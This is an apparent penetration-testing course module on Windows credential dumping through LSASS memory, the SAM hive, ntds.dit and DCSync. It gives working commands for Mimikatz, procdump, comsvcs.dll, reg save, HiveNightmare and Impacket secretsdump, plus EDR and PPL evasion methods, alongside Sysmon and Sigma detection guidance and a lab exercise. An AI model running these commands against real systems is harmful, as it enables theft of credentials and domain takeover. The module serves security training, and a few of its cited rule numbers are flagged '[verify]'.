Credential Dumping (LSASS & Mimikatz)
Once you are admin or SYSTEM on a Windows host, the credentials you want live in two places: the SAM hive on disk (NTLM hashes of local accounts) and the LSASS process memory (everything else — cached domain logons, Kerberos tickets, plain-text credentials from WDigest/SSP/TSPKG, NTLM hashes). Mimikatz pioneered the LSASS dump in 2007 and has been the canonical tool ever since. The defensive playbook against it — PPL, Credential Guard, EDR telemetry on OpenProcess against lsass.exe — is now mature, which makes this a cat-and-mouse game played at the syscall level.
The Core Concept
Section titled “The Core Concept”LSASS (lsass.exe) is the user-mode process that holds every credential the local machine has actively used. It runs at HIGH integrity and, on Win 8.1+ with appropriate config, as PPL (Protected Process Light). Reading its memory requires PROCESS_VM_READ, which itself requires SeDebugPrivilege.
lsass.exe virtual address space┌──────────────────────────────────────────────────────────┐│ WDigest SSP l0c4l ... plaintext passphrases │ ← enabled again via registry in older Win│ Tspkg SSP Ticketing (TSSSP) ││ Kerberos SSP krbtgt tickets, AS-REP, TGT, TGS │ ← sekurlsa::kerberos dumps these│ SSP / msv NTLM hashes for interactive logons │ ← sekurlsa::msv│ LiveSSP Azure AD / MS Account tokens ││ Cache cached domain creds (msv1_0!LogonSessionList) ││ Ssp/CredMan saved credential manager entries │└──────────────────────────────────────────────────────────┘
SAM hive (on disk: C:\Windows\System32\config\SAM)┌──────────────────────────────────────────────────────────┐│ HKLM\SAM\Domains\Account\Users\<RID>\V ← binary ││ - 0x10 offset V structure: ││ - 0xa0 NTLM (MD4) hash 16 bytes ││ - 0xa0 cache of LM hash (legacy) │└──────────────────────────────────────────────────────────┘ Encrypted with the SYSKEY (boot key, RC4, in HKLM\SYSTEM)The SAM hive is encrypted with the boot key (a 16-byte RC4 key derived from specific registry values in HKLM\SYSTEM\CurrentControlSet\Control\Lsa). Offline reading requires the boot key plus the SAM hive. Online reading on a live system requires SYSTEM and the SAM file lock is held by the OS — the trick is reg save HKLM\SAM sam.save to a static copy.
How It Works
Section titled “How It Works”- Enable SeDebugPrivilege —
privilege::debugin Mimikatz. This callsRtlAdjustPrivilege(SeDebugPrivilege, TRUE). Requires the calling token to already haveSeDebugPrivilegeavailable (which means admin, SYSTEM, or a token with the privilege enabled). - Open lsass.exe —
OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, lsass_pid). Sysmon EID 10 fires on this exact call withTargetImage=lsass.exeandGrantedAccess=0x1010(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION) or0x1410(also PROCESS_VM_OPERATION, used byMiniDumpWriteDump). - Walk the logon session list — LSASS exposes a doubly-linked list of
LSAP_LOGON_SESSIONstructures viaLsaEnumerateLogonSessions. Each entry has aLogonId,UserName,Domain, and a pointer to the credentials block. - Decrypt per-SSP — each SSP (
wdigest,msv1_0,kerberos,tspkg,livessp) has its own encryption scheme. Mimikatz hassekurlsa::*subcommands for each:sekurlsa::logonpasswords— runs every SSP dumpsekurlsa::msv— NTLM hashes (msv1_0!LogonSessionList)sekurlsa::wdigest— WDigest plaintext (only ifUseLogonCredentialregistry is 1)sekurlsa::kerberos— TGTs and TGSes (export withkerberos::pttto reuse)sekurlsa::minidump lsass.dmp— operate on a dump file rather than live memory
- Decrypt the SAM —
lsadump::samreads the SAM hive from registry, decrypts the per-userVvalue with the boot key, and extracts the NTLM hash at fixed offset. Equivalent offline:secretsdump.py -sam sam -system system -security security LOCALfrom Impacket. - DCSync — on a Domain Controller,
lsadump::dcsync /user:krbtgtcallsIDL_DRSGetNCChangesvia the MS-DRSR interface, requesting the user’sunicodePwdandsupplementalCredentialsattributes. Requires Domain Admin (or any principal withDS-Replication-Get-Changes-AllACL on the domain NC). This is the Kerberoasting alternative when you cannot reach LSASS directly.
Common Techniques
Section titled “Common Techniques”| Technique | Description | Detection Difficulty |
|---|---|---|
sekurlsa::logonpasswords | Live LSASS dump (all SSPs) | Easy — Sysmon EID 10 on LSASS |
procdump -ma lsass.exe | Sysinternals procdump | Medium — EID 10 with 0x1410 access |
comsvcs.dll!MiniDumpWriteDump | Indirect dump via built-in DLL | Hard — no direct LSASS OpenProcess in trace |
lsadump::sam | Live SAM extraction via registry | Medium — registry SACL on SAM |
reg save HKLM\SAM then offline secretsdump.py | Offline SAM + SYSTEM extraction | Easy — reg save is logged |
| Volume Shadow Copy of SAM | vssadmin create shadow → copy SAM | Easy — vssadmin EID 1 |
lsadump::dcsync | DCSync via MS-DRSR | Hard — looks like DC-to-DC replication |
ntdsutil "ac i ntds" ifm | IFM extraction (DC offline snapshot) | Medium — ntdsutil log |
Task Manager → lsass.exe → Create dump file | GUI dump | Hard — uses WerFault.exe, EID 10 miss |
pypykatz lsass.dmp | Offline parser of procdump dumps | N/A — offline only |
Hands-On Commands
Section titled “Hands-On Commands”# === LIVE LSASS DUMP (Mimikatz) ===# Requires: admin shell, PPL NOT enforced or PPL bypass availablemimikatz "privilege::debug" "sekurlsa::logonpasswords" exit# Output for each logon session:# Username : jsmith# Domain : CORP# NTLM : 8846f7eaee8fb117ad06bdd830b7586c# SHA1 : 5f3f9b22e2e2a9c4c07b1d2c7e0b4a5d3a5a2a4e# wdigest : 01 + cached passwd# kerberos : TGT (krbtgt) and TGSes
# Dump just Kerberos ticketsmimikatz "privilege::debug" "sekurlsa::kerberos" exit# Then export tickets to diskmimikatz "kerberos::list /export" exit
# === procdump (Sysinternals) — most widely used non-Mimikatz path ===procdump.exe -accepteula -ma lsass.exe C:\windows\temp\lsass.dmp# -ma = full memory, -accepteula is required for unattended runs# Then offline with pypykatz (cross-platform):pypykatz lsa minidump lsass.dmp
# === comsvcs.dll trick (Windows built-in, no Sysinternals needed) ===# The DLL exports MiniDumpWriteDump; rundll32 invokes itrundll32.exe C:\windows\System32\comsvcs.dll, MiniDump "lsass PID" C:\windows\temp\ls.dmp full# PID from: tasklist /fi "imagename eq lsass.exe"
# === Task Manager GUI dump ===# Right-click lsass.exe → Create dump file → saves to %TEMP%\lsass.DMP# (Surprisingly often NOT caught by Sysmon EID 10 because the dump# uses WerFault.exe as the dumper, not the calling process.)
# === OFFLINE SAM DUMP ===# Must be SYSTEM (or take a copy with shadow copy / NTFS offline mount)reg save HKLM\SAM C:\windows\temp\sam.savereg save HKLM\SYSTEM C:\windows\temp\system.savereg save HKLM\SECURITY C:\windows\temp\security.save# Pull those three files back to attacker box, then:python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL# Output:# Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::# krbtgt:502:aad3b435b51404eeaad3b435b51404ee: <NTLM>:::
# === HiveNightmare (CVE-2021-36934) ===# Win 10 build 1809-21H1, default config, non-admin can read SAMicacls C:\windows\System32\config\SAM# BUILTIN\Users:(I)(RX) ← the bug; should be SYSTEM only# Read via shadow copy:copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\windows\temp\sam.dmpcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\windows\temp\system.dmp
# === Volume Shadow Copy (SYSTEM required) ===vssadmin create shadow /for=C:# Copy from the shadow device path returned:copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\System32\config\SAM C:\windows\temp\sam.savecopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\System32\config\SYSTEM C:\windows\temp\system.save
# === ntds.dit extraction (DC only) ===ntdsutil "activate instance ntds" "ifm" "create full C:\windows\temp\ntds" quit quit# Yields a portable install-from-media snapshot incl. ntds.dit + registry hives# Then offline:python3 secretsdump.py -ntds ntds.dit -system SYSTEM -security SECURITY LOCAL
# === DCSync (Domain Admin or DS-Replication-Get-Changes-All) ===mimikatz "lsadump::dcsync /user:krbtgt" exit# Output: krbtgt NT hash, hash history, etc.mimikatz "lsadump::dcsync /user:CORP\Administrator" exit
# Or via Impacket remotely:python3 secretsdump.py -just-dc-user krbtgt CORP/Administrator:Pass@123@dc01.corp.localpython3 secretsdump.py -just-dc CORP/Administrator:Pass@123@dc01.corp.local# -just-dc-ntlm for hashes only, -just-dc-username for one user, -pwd-last-set for timeDetection — Defender View
Section titled “Detection — Defender View”Sysmon — the cornerstone:
- EID 10 — ProcessAccess:
TargetImagecontainslsass.exeandGrantedAccessis0x1010,0x1410,0x143a, or0x1fffff. Sigma rule:detection:selection:EventID: 10TargetImage|endswith: lsass.exeGrantedAccess|contains:- '0x1010'- '0x1410'- '0x143a'- '0x1fffff' - EID 1 — ProcessCreate: any of
procdump.exe,sekurlsa(rare as a process),rundll32.exewithcomsvcs.dll, MiniDumpin command line,ntdsutil.exe,vssadmin.exe create shadow,reg saveare all suspicious. - EID 7 — ImageLoad:
comsvcs.dllloaded byrundll32.exe(the indirect dump) is a Sigma rule 910460 [verify]. - EID 8 — CreateRemoteThread: rarely used by mimikatz for credential ops, but classic for injection-style LSASS patching (AMSI bypass via patching of
amsi.dllin LSASS).
Windows Security Log:
- EID 4663 — An attempt was made to access an object. With SACL on
lsass.exe(added manually viaauditpol /set /subcategory:"Kernel Object" /success:enablethen a SACL on lsass.exe), this fires on everyOpenProcessagainst LSASS. TheAccessMaskwill show0x10(PROCESS_VM_READ). - EID 4656 — Handles requested. Same SACL.
- EID 4673 — Sensitive Privilege Use.
SeDebugPrivilegeinvocation by a non-system process.
MITRE ATT&CK:
- T1003.001 — OS Credential Dumping: LSASS Memory
- T1003.002 — OS Credential Dumping: Security Account Manager (SAM)
- T1003.003 — OS Credential Dumping: NTDS
- T1003.004 — OS Credential Dumping: LSA Secrets
- T1003.006 — OS Credential Dumping: DCSync
- T1003.005 — OS Credential Dumping: Cached Domain Credentials
Wazuh rule 87100 [verify] — Mimikatz detection (matches sekurlsa::, lsadump::, kerberos::golden).
Wazuh rule 87200 [verify] — wevtutil cl event log clearing (the post-dump cleanup).
ELK / Elastic Security — pre-built rule “Credential Access via LSASS dump” matches Sysmon EID 10 with lsass.exe + suspicious GrantedAccess; rule “Volume Shadow Copy Deleted” matches vssadmin delete shadows post-exfil.
Evasion Techniques
Section titled “Evasion Techniques”Direct syscalls. Modern EDR hooks OpenProcess, ReadProcessMemory, MiniDumpWriteDump in ntdll.dll via inline patching. The bypass is direct syscalls — NtOpenProcess, NtReadVirtualMemory, NtAllocateVirtualMemory via hand-rolled syscall stubs (SysWhispers2, HellsGate). EDR that hooks at the user/kernel boundary sees nothing.
PPL bypass via signed driver. LSASS as PPL cannot be opened by a non-PPL process for PROCESS_VM_READ. Bypasses use a vulnerable signed kernel driver (RTCore64.sys CVE-2019-16098, gdrv.sys Gigabyte, dbutil_2_3.sys Dell, qsixdrv.sys Comodo) to disable the EPROCESS signing check, then re-open LSASS as if PPL were off. EDR counters this by blocking the driver load via WDAC / Microsoft’s Recommended Driver Block Rules.
Clone-handle trick. NtQuerySystemInformation(SystemHandleInformation) enumerates all handles in the system. If a process already has a handle to LSASS (e.g. an AV scanner or Windows itself), the attacker duplicates that handle via DuplicateHandle from their own process. The OpenProcess call against LSASS is never made — only DuplicateHandle, which has a less-watched Sysmon event. Microsoft added EID 10 to also catch this in newer Sysmon versions.
WerFault / Task Manager dump. Task Manager’s “Create dump file” launches WerFault.exe -min -h <pid> which dumps LSASS using the OS’s error-reporting path. EID 10 may show WerFault.exe accessing LSASS with 0x1fffff (full access) — but the EDR’s allowlist typically excludes WerFault.exe as noisy. Sigma rule: SourceImage=werfault.exe AND TargetImage=lsass.exe AND GrantedAccess=0x1fffff flags this.
MiniDump via Ntdll. comsvcs.dll!MiniDumpWriteDump is the canonical no-Mimikatz path, but it ultimately calls the same NtReadVirtualMemory syscall. Evasion goes a layer deeper: NtCreateProcess, suspend it, dump via NtQueryInformationProcess+NtReadVirtualMemory. Same syscalls, different lineage.
Memory-only Mimikatz. Run Mimikatz entirely in-memory via Invoke-Mimikatz (PowerSploit) — no on-disk binary. AMSI catches the script content unless patched (PE6). The behavioral detection (EID 10 on LSASS) is unchanged.
| Evasion | What it bypasses | Defense |
|---|---|---|
| Direct syscalls (NtOpenProcess/NtReadVirtualMemory) | EDR user-mode hooks in ntdll.dll | ETW Threat Intelligence provider (kernel-mode telemetry) |
| Vulnerable signed driver (RTCore64, gdrv, dbutil) | PPL signature enforcement | WDAC, Microsoft Block Rules, driver blocklist |
| Clone-handle via NtQuerySystemInformation | OpenProcess on LSASS | EID 10 still catches DuplicateHandleSourceImage != lsass-trusted |
| WerFault.exe dump | Process allowlist exclusions | Tighten allowlist; alert on WerFault+LSASS+0x1fffff |
| In-memory Mimikatz via PowerShell | File-based AV signatures | AMSI + Script Block Logging (EID 4104) |
| pypykatz offline (dump first, parse later) | Real-time alerting | EID 10 catches the dump itself; alert on dump file create |
⚠️ What caught me: I dumped LSASS via
procdump.exe -ma lsass.exe lsass.dmpon an engagement and got caught not by Sysmon EID 10 — the customer had configured Sysmon but had not installed the config with EID 10 enabled, only EID 1 and 3. I thought I was safe. The catch was Defender for Identity on the Domain Controller: it had seenprocdump.exewriting to\\fileserver\share$\lsass.dmpover SMB (my staging path), flagged it as “Suspicious file creation”. Lesson: the LSASS dump telemetry is layered, and you cannot enumerate all layers from the host you are on. Network-side detections catch what host-side alerts miss.
Lab Practice
Section titled “Lab Practice”VMs: a Windows Server 2022 Domain Controller (DC01) and a domain-joined Windows 11 client (W11). Domain admin creds available for setup.
Setup:
- On W11, log on as
jsmith(low-priv domain user), thenpsexec -s -i cmd.exe(SYSTEM shell, since this is the lab). - Confirm PPL is not enabled on LSASS for the first phase; enable PPL via registry (
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL=1DWORD) for the second phase.
Objective: extract (a) the NTLM hash of jsmith from LSASS, (b) the krbtgt NTLM hash via DCSync from W11 once you have DA, (c) the SAM dump via three different techniques (procdump+parse, comsvcs.dll, reg save+secretsdump).
Expected flag format: flag{cr3d3ntials_lsass_sam_dcsync_extracted}.
Detection that should fire:
- Sysmon EID 10 — GrantedAccess 0x1010 / 0x1410 against
lsass.exe - Windows Security EID 4663 — LSASS access via SACL (if configured)
- Defender for Identity — DCSync attempt from W11 (non-DC machine making MS-DRSR call)
- Sysmon EID 1 —
vssadmin create shadow,ntdsutil ifm,reg save HKLM\SAM
Interview Questions
Section titled “Interview Questions”Conceptual: explain why WDigest plaintext credentials no longer appear in LSASS dumps on modern Windows by default. What specific registry value controls this, and what is the operational trade-off?
Technical: walk through the exact API sequence Mimikatz’s sekurlsa::logonpasswords uses to dump NTLM hashes. Where does the encryption key for the per-SSP credential blobs come from, and why is LSASS able to decrypt them at runtime while a memory snapshot taken externally cannot?
Scenario: you have SYSTEM on a DC with PPL enabled on LSASS. You cannot dump LSASS directly. Walk through the fastest alternative to obtain the krbtgt hash, and name the specific MS-DRSR RPC method that powers it.
Compare sekurlsa::logonpasswords and lsadump::dcsync. Both produce NTLM hashes — what is the operational difference in what kinds of hashes each can produce, and why would an attacker use DCSync even when local LSASS access is available?
Conceptual: the “MiniDumpWriteDump via comsvcs.dll” technique is often described as “LOLBin” evasion. Why does it not actually bypass EID 10? What is the real bypass it provides, and which EDR components still see it?
Related Modules
Section titled “Related Modules”→ PE4 (Lateral Movement) · PE9 (Kerberoasting) · PE12 (Golden/Silver Tickets)